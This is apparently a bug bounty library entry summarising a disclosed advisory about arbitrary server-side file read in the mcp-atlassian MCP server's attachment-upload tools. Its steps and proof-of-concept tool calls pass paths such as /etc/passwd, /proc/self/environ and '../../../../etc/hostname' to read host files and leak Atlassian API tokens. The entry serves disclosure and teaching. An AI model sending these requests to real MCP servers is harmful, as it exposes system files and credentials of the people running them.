# mcp-atlassian: Arbitrary server-side file read via attachment upload

mcp-atlassian upload tools open() a client-supplied file_path on the server, letting remote MCP clients exfiltrate arbitrary host files as Atlassian attachments.

- Payout: Research
- Severity: high
- Program: mcp-atlassian
- Found by: 0xmagic0
- Disclosed: 2026-07-10
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wm45-qh3g-v83f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wm45-qh3g-v83f
- Tags: area:ai domain:ai domain:api impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:info-disclosure vuln:path-traversal vuln:secrets-leak

**Target:** MCP server attachment-upload tools (Confluence/Jira) over HTTP/SSE transport
**Root cause:** Upload tools take a client-supplied file_path and call os.path.abspath() then open() on the server filesystem, with no containment and no way to send file content instead of a server-side path.
**Steps:**
1. Deploy mcp-atlassian with streamable-http transport bound to 0.0.0.0 and READ_ONLY_MODE=false.
2. Call `confluence_upload_attachment` with `{ "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }`; server reads its own /etc/passwd and uploads it as attachment `passwd`.
3. Retrieve via `confluence_download_attachment { "attachment_id": "att<...>" }` to confirm round-trip content.
4. Second sink: `jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }`.
5. Credential theft: upload `file_path: "/proc/self/environ"` to leak JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
6. Relative traversal also works: `file_path: "../../../../etc/hostname"`.
**How found:** Code review of the upload path: noticed the tools accept a client-supplied file_path documented as 'absolute … or relative to the current working directory' and that os.path.abspath() only normalizes before open(), so over a remote transport the path resolves on the server rather than the caller.
**Exploitation:** Any client able to invoke MCP tools over HTTP/SSE sends a server-side path to the upload tools; the server opens and transmits the file bytes to Atlassian as an attachment, which the attacker then downloads back through MCP, yielding arbitrary file read and env-var credential disclosure.
**Escalation:** Reading /proc/self/environ discloses the server's own Atlassian API tokens; in multi-tenant HTTP deployments it breaks tenant isolation.
**Insight:** For MCP/agent tool servers, any tool parameter documented as a local path (file_path, cwd-relative) is a server-side read/write primitive once the transport is remote — check whether the tool offers a content-upload alternative; procfs paths like /proc/self/environ bypass size checks (getsize returns 0) and leak secrets.

## Proof of concept (copied exactly from the original report)

**Confluence upload reads /etc/passwd from server**

```
req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
    "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
```

**Jira update_issue attachments path traversal**

```
req → tools/call jira_update_issue
      { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
```

**Relative traversal path accepted by upload**

```
req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
```

